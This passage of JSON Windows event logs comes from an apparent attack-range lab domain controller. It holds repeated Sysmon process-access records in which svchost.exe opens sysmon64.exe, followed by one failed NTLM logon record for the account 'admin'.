11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221490,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59962\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp 